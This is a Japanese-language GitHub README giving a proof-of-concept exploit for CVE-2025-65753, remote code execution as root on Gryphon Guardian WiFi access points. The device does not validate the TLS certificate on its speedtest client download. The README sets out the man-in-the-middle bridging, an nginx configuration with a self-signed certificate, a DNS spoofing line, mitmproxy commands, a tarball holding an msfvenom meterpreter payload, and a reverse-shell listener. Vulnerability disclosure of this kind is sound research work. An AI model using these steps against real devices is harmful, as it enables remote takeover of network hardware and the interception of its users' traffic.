diegovargasj/cve-2025-65753CVE-2025-65753 PoC
CVE-2025-65753 の概念実証: Gryphon Guardian アクセスポイント（ファームウェアバージョン 01.06.0006.22）における不適切な TLS 証明書検証によるリモートコード実行。
Gryphon Guardian WiFi アクセスポイント（ファームウェアバージョン 01.06.0006.22）は、アプリからプロンプトを受けてダウンロードされるインターネットスピードテストクライアントの TLS 証明書を適切に検証しません。この欠陥により、攻撃者は通信を傍受・操作し、悪意のあるコードを注入でき、アクセスポイントによって root として実行されます。
この脆弱性を悪用するには 2 つの方法があります:
この PoC では、アクセスポイントからのトラフィックは攻撃者のコンピュータを経由するように（基本的に MitM 攻撃）、2 つのネットワークインターフェースをブリッジすることでルーティングされます。下図を参照。
これを行うために、TCP トラフィックをローカルポート 9900 にリダイレクトして分析するため、自作ツールを使用しました: https://github.com/diegovargasj/bridge-interfaces
次に、aapooksman の certmitm ツール (https://github.com/aapooksman/certmitm) を使用して TLS 接続を分析し、証明書の検証をテストするために複数の攻撃を自動的に展開しました。これにより、複数のサーバーに対するいくつかの欠陥が明らかになりました。特に注目したのは、https://install.speedtest.net/app/cli/ookla-speedtest-1.2.0-linux-armhf.tgz からのスピードテストクライアントのダウンロードで、単純な自己署名証明書で傍受可能でした。
この tarball には 32 ビット ARM コンパイル済み ELF が含まれており、デバイスによってダウンロード、展開、実行されることは明らかです。
デバイスは認証用の TLS 証明書を検証しません。単純な自己署名証明書を喜んで受け入れます。したがって、HTTPS サーバーを展開し、install.speedtest.net の DNS 応答をスプーフィングすることで、任意の実行ファイルを提供できます。これを行うには、次の nginx 設定を使用します:
server {
listen 443 ssl default_server;
server_name install.speedtest.net;
ssl_certificate /path/to/self_signed_cert.pem;
ssl_certificate_key /path/to/self_signed_key.pem;
root /path/to/webroot;
}
次に、以下の行を /etc/hosts ファイルに追加して、dnsmasq を介して DNS 応答をスプーフィングします。
192.168.0.15 install.speedtest.net
最後に、bridge-interfaces.sh スクリプトを再起動し、certmitm.py を終了して mitmproxy を実行します:
mitmproxy --listen-host 192.168.0.15 --listen-port 9900 --mode transparent -k
あとはペイロードが必要です。アクセスポイントには Python がインストールされているため、単純な meterpreter スクリプトで十分です。msfvenom でスクリプトを作成します:
スピードテストクライアントの元の ELF を、ペイロードを呼び出す bash スクリプトに置き換えます:
python payload.py
そして、Web リクエスト https://install.speedtest.net/app/cli/ookla-speedtest-1.2.0-linux-armhf.tgz に合うように適切なパスで tarball にパッケージ化します:
tar -czvf ookla-speedtest-1.2.0-linux-armhf.tgz speedtest payload.py
次に、meterpreter リスナーをセットアップします。Gryphon アプリからスピードテストを呼び出した後、root としてリバースシェルを取得します。
そして、アクセスポイント内で任意のコマンドを実行できます。
